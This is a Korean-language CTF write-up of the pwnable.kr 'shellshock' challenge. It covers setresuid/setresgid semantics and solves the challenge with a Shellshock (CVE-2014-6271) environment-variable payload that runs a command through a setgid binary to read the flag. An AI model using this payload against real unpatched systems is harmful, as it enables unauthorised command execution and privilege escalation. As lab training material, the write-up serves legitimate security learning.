본문 바로가기

/Pwnable

Pwnable.kr(Toddler's Bottle_shellshock)_by $0ulTr33

2019.10.7(일) 

1점 짜리라서 골랐다.

 

ssh shellshock@pwnable.kr -p2222

비번 : guest

 

들어와서 보니 4개의 파일이 있다.

 

shellshock@prowl:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock

-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c

 

주의할 점은 shellshock 바이너리 파일에 setgid가 걸려있다.

(※setgid란, 실행했을 때 그 파일의 그룹 권한으로 파일이 실행되는 것을 말한다.

shellshock 파일의 경우에는 shellshock_pwn 이라는 그룹의 권한으로 실행이 된다.

또한, 소문자 s는 실행권한이 있는 것이고, 대문자 S는 실행권한이 없는 것이다.)

그리고 어디에 써야할 지 모르겠지만 bash 쉘 파일이 있다.

 

shellshock@prowl:~$ cat shellshock.c
#include 
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

코드를 보자.

setuid,setgid 는 알아도 setresuid,setresgid는 뭐지??? 뭐지 하고 검색을 했는데 잘 안나왔다.

그러다 갑자기 깨달았다.

 

r과 e와 s는 각각의 뜻이 있었다.

Ruid : real UserID ==> 프로세스를 시작하는 사용자를 결정하는 데 사용.

Euid : Effective UserID ==> 현재 프로그램, 프로세스의 권한을 결정한다.

Suid : Saved UserID ==> 이전 EUID를 복원할 수 있다. 전의 값을 복원함.

(setgid도 똑같은 원리이다 USER에서 GROUP으로 바뀌었다는 차이점 밬에 없다.)

 

그리고 getegid도 똑같다. getgid 에서 e가 추가되었다.

getegid : 프로세스의 EffectiveGroupID를 반환한다.

 

ruid,rgid,euid,egid,suid,sgid 모두 shellshock_pwn 이라는 그룹의 EGID로 반환된다.(?)

(사실 왜 set이 아닌 get을 썼는지 잘 모르겠다.)

 

system("/home/shellshock/bash -c 'echo shock_me'");

다른 것은 없다 그저 -c 옵션으로 echo shock_me 라는 구문을 출력할 뿐이다.

 

shellshock 혹시 취약점에 관련되었나 해서 

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

이 구문을 bash를 실행해서 해봤지만 

echo this is a test 만 출력되었다.(vulnerable 또한 출력 된다면 쉘쇼크 취약점이 있다는 것이다.)

 

1주일 동안 고민하다가 안되겠어서 풀이를 봤다.


분명 vulnerable 문장이 나오지 않아서 쉘쇼크에 취약하지 않은 줄 알았으나

결국 페이로드는 쉘쇼크 취약점을 노린 것이었다.

 

 

shellshock@prowl:~$ env x='() { :;}; /bin/cat flag' /home/shellshock/shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

 

bash 4.3 이하인 버전에만 통하는 공격이다. 

그래서 bash 버전을 확인해봤더니

 

 

shellshock@prowl:~$ bash --version
GNU bash, version 4.3.48(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

 

 

역시나 버전이 4.3 이하였다. 다음부턴 꼼꼼히 알아봐야겠다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Hacking&Security > Pwnable' 카테고리의 다른 글

pwnable.kr(Toddler's Bottle_lotto)_by $0u1Tr33  (0) 2019.10.25